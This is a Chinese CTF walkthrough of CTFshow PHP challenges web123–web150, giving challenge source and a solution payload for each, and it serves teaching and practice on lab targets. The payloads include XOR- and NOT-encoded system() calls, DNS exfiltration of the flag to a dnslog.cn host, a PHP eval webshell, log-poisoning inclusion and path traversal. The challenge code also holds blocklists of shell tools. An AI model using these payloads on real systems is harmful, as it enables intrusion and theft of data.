CTFshow——web入门——php特性(下篇)

web123

题目

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
    
    
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
    
    
             echo $flag;
         }
    }
}
?>

题解
php变量名不允许使用点号,会变成下划线,前面是[,会把[转变为_,而后面的.不会变。
payload:

CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag

也可以利用函数打印数组进行输出

get_included_files ()
get_included_files — 返回被 include 和 require 文件名的 array
返回所有文件名称的 array。

implode ()
implode — 将一个一维数组的值转化为字符串

get_defined_vars()
get_defined_vars — 返回由所有已定义变量所组成的数组

payload:

CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode(get_defined_vars())

web125

题目

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
    
    
         eval("$c".";");
         if($fl0g==="flag_give_me"){
    
    
             echo $flag;
         }
    }
}
?>

题解

extract ()
extract — 从数组中将变量导入到当前的符号表

用post传入的数据都覆盖原来的数据。
payload:

CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me

还有一种方法,参考羽师傅

1、cli模式(命令行)下

	第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

	在web页模式下必须在php.ini开启register_argc_argv配置项
	
    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

    $argv,$argc在web模式下不适用

因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval("$c".";");$flag赋值flag_give_me就可以了。

$fl0g=flag_give_me;   #GET
CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($a[0])  #POST

web126

题目

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
    
    
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
    
    
             echo $flag;
         }
    }
}

题解
同上

parse_str ()
parse_str — 将字符串解析成多个变量

在这里插入图片描述
payload:

a=1+fl0g=flag_give_me  #GET
CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1])  #POST

web127

题目

<?php

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    
    
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
    
    
        return true;
    }else{
    
    
        return false;
    }
}

if(waf($url)){
    
    
    die("嗯哼?");
}else{
    
    
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    
    
    echo $flag;
}

题解
php的变量名中的点或空格会被转化为下划线,由于点被过滤
payload:

ctf show=ilove36d

web128

题目

<?php

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    
    
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    
    
    echo "嗯哼?";
}



function check($str){
    
    
    return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL

题解

call_user_func ()
call_user_func — 把第一个参数作为回调函数调用

在这里插入图片描述
_等效于gettext函数

<?php
echo gettext("phpinfo");
结果  phpinfo

echo _("phpinfo");
结果 phpinfo

payload:

f1=_&f2=get_defined_vars

web129

题目

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    
    
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
    
    
        echo readfile($f);
    }
}

题解

stripos()
stripos — 查找字符串首次出现的位置(不区分大小写)

在这里插入图片描述
目录穿越
payload:

f=../ctfshow/../../../../../../../../var/www/html/flag.php

web130

题目

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    
    
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
    
    
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
    
    
        die('bye!!');
    }

    echo $flag;


题解
is匹配大小写和换行
stripos()函数 查找字符串匹配位置是从0开始,不是1,所以绕过第二个正则
payload:

f=ctfshow

web131

题目

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    
    
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
    
    
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
    
    
        die('bye!!');
    }

    echo $flag;

}

题解
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。

import requests

url = "http://7d46897d-72da-45fb-b85d-f6d5dc39bb09.challenge.ctf.show/"
param = 'very'*250000 + "36Dctfshow"
data = {
    
    
    "f":param
}
res = requests.post(url,data)
print(res.text)

P神博客:PHP利用PCRE回溯次数限制绕过某些安全限制

web132

题目

<?php

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    
    
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
    
    
        
        if($code == 'admin'){
    
    
            echo $flag;
        }
        
    }
}

题解
/admin下有源码

 if(true && true || false){
    
    
        echo 123;
    }

|| 一为真都为真,我们只要保证username=admin即可过第二个if
payload:

sername=admin&password=&code=admin

web133

题目

<?php

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    
    
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
    
    
        eval(substr($F,0,6));
    }else{
    
    
        die("6个字母都还不够呀?!");
    }
}

题解
通过dnslog

substr ()
substr — 返回字符串的子串

在这里插入图片描述
在这里插入图片描述
师傅思路
grep 命令进行筛选
payload:

F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.wutsuc.dnslog.cn -c 1

web134

题目

<?php

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    
    
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    
    
    die(file_get_contents('flag.php'));
}

题解
详解$_SERVER

实例:

1,http://localhost/aaa/ (打开aaa中的index.php)
结果:
$_SERVER['QUERY_STRING'] = "";
$_SERVER['REQUEST_URI']  = "/aaa/";
$_SERVER['SCRIPT_NAME']  = "/aaa/index.php";
$_SERVER['PHP_SELF']     = "/aaa/index.php";

2,http://localhost/aaa/?p=222 (附带查询)
结果:
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI']  = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME']  = "/aaa/index.php";
$_SERVER['PHP_SELF']     = "/aaa/index.php";

3,http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI']  = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME']  = "/aaa/index.php";
$_SERVER['PHP_SELF']     = "/aaa/index.php";

由实例可知:
$_SERVER["QUERY_STRING"]  获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER["REQUEST_URI"]   获取 http://localhost 后面的值,包括/
$_SERVER["SCRIPT_NAME"]   获取当前脚本的路径,如:index.php
$_SERVER["PHP_SELF"]      当前正在执行脚本的文件名

既然是extract的$_POST,就利用parse_str$_POST给覆盖掉 payload:

_POST[key1]=36d&_POST[key2]=36d

web135

题目

<?php

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    
    
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
    
    
        eval(substr($F,0,6));
    }else{
    
    
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

题解
利用ping原理DNS请求
payload:

F=`$F`; ping `nl flag.php|awk '/flag/'| tr -cd "[a-z]"/"[0-9]"`.klj10h.dnslog.cn -c 1

看一下awk命令,使用管道符来筛选,用斜杠选择包含字符串这一行的值。
在这里插入图片描述

web136

题目

<?php

error_reporting(0);
function check($x){
    
    
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
    
    
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    
    
    highlight_file(__FILE__);
}
?>

题解
简单了解一下tee命令
在这里插入图片描述
tee文件输出流,把前面执行结果写入新文件
payload:

c=ls / |tee 1
c=cat /f149_15_h3r3 |tee 2

还有一种方法
xargs sed 批量替换文件内容
payload:

c=ls |xargs sed -i 's/die/echo/'
c=ls |xargs sed -i 's/exec/system/'
c=cat /f149_15_h3r3

web137

题目

<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    
    
    function __wakeup(){
    
    
        die("private class");
    }
    static function getFlag(){
    
    
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

题解
call_user_func — 把第一个参数作为回调函数调用

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

调用类中的函数
payload:

ctfshow=ctfshow::getFlag

web138

题目

<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    
    
    function __wakeup(){
    
    
        die("private class");
    }
    static function getFlag(){
    
    
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    
    
    die("private function");
}

call_user_func($_POST['ctfshow']);

题解
:被禁用了,call_user_func可以传数组

call_user_func(array($classname, ‘say_hello’));
这时候会调用 classname中的 say_hello方法

payload:

ctfshow[]=ctfshow&ctfshow[]=getFlag

web139

题目

<?php

error_reporting(0);
function check($x){
    
    
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
    
    
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    
    
    highlight_file(__FILE__);
}
?>

题解
暂时放一放…

web140

题目

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    
    
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
    
    
        if(preg_match('/^[a-z0-9]+$/', $f2)){
    
    
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
    
    
                echo file_get_contents("flag.php");
            }
        }
    }
}

题解
在这里插入图片描述
我们让intval($code)等于0就行了

f1=md5&f2=md5
f1=system&f2=system

web141

题目

<?php

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/^\W+$/', $v3)){
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

题解
/^\W+$/的意思:匹配^a-zA-Z0-9_](任意个非单词字符、非数字字母下划线的字符)
在本地测试eval("return 1+phpinfo()+1;");是可以执行的
这样return就可以绕过了
羽师傅的无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
可以通过异或来获取相应的字母,构造开头字母为1,则可以通过准则

例:
小写字母p编码为 0111 0000 0x70
可以利用异或准则 相同为0,不同为1来得到 %70
/p
1010 1111  %af
1101 1111  %df
0111 0000  %70
/h
1010 1111 %af
1100 0111 %c7
0110 1000 %68
/i
1010 1111 %af
1100 0110 %c6
0110 1001 %69
/n
1010 1111 %af
1100 0001 %c1
0110 1110 %6e
/f
1010 1111 %af
1100 1001 %c9
0110 0110 %66
/o
1010 1111 %af
1100 0000 %c0
0110 1111 %6f
/(
1010 1111 %af
1000 0111 %87
0010 1000 %28
/)
1010 1111 %af
1000 0110 %86
0010 1001 %29

%AF%AF%AF%AF%AF%AF%AF^%DF%C7%DF%C6%C1%C9%C0可代替phpinfo
因此我们可以通过异或构造system(‘tac fl*’),这里用的是羽师傅的脚本跑的
得到("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%00"^"%7c%60%60%20%60%60%2a");
payload:

v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%00"^"%7c%60%60%20%60%60%2a")-

web142

题目

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    
    
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
    
    
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

题解
payload:

v1=0

web143

题目

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

题解
-被过滤了,把-换成*,再用羽师傅脚本跑一下
payload:

v1=1&v2=2&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%00"^"%7f%60%60%20%60%60%2a")*

web144

题目

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
    
    
        if(preg_match('/^\W+$/', $v2)){
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    
    
    return strlen($str)===1?true:false;
}

题解
v3长度要求为1,依旧可以用上题
payload:

?v1=1&v3=1&v2=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%00"^"%7f%60%60%20%60%60%2a")

web145

题目

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

题解
异或被ban了,我们可以用取反
payload:

v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5)|
v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5):

eval(“return 1?phpinfo():1;”);
是可以执行的,考察点是三目运算符

web146

题目

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

题解
取反
payload:

v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5)|

web147

题目

<?php

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    
    
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
    
    
        $ctfshow('',$_GET['show']);
    }

}

题解
解析create_function()
这题正则是匹配开头不包含字母或数字的符号
我们可以利用create_function()来创建匿名函数进行代码注入
传入echo }system('tac fl*');/*

function f($a) {
    
    
  echo }system('tac fl*');/*
}

payload:

show=}system("cat flag.php");/*
ctf=\create_function    #POST

}是闭合正则if条件
/*是注释掉}

web148

题目

<?php

include 'flag.php';
if(isset($_GET['code'])){
    
    
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
    
    
        die("error");
    }
    @eval($code);
}
else{
    
    
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    
    
    echo file_get_contents("flag.php");
}

题解
异或
payload:

code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%02"^"%7d%60%60%21%60%60%28");

web149

题目

<?php

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    
    
    if(is_file($file)){
    
    
        if ($file !== "index.php") {
    
    
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    
    
    if(is_file($file)){
    
    
        if ($file !== "index.php") {
    
    
            unlink($file);
        }
    }
}

题解
除了index.php其余文件都会删除,我们可以直接在index.php中写马
payload:

ctf=index.php
show=<?php eval($_POST[1]);?>

蚁剑连接。

web150

题目

<?php

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    
    
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
    
    
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
    
    
        echo $this->secret;
    }

    public function isVIP(){
    
    
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
    
    
        if(isset($class)){
    
    
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    
    
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    
    
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    
    
    include($ctf);
}

题解
一句话写进日志
日志包含一句话/var/log/nginx/access.log
payload:

isVIP=1
ctf=/var/log/nginx/access.log&1=system('tac fl*.php');

猜你喜欢

转载自blog.csdn.net/h_adam/article/details/122570858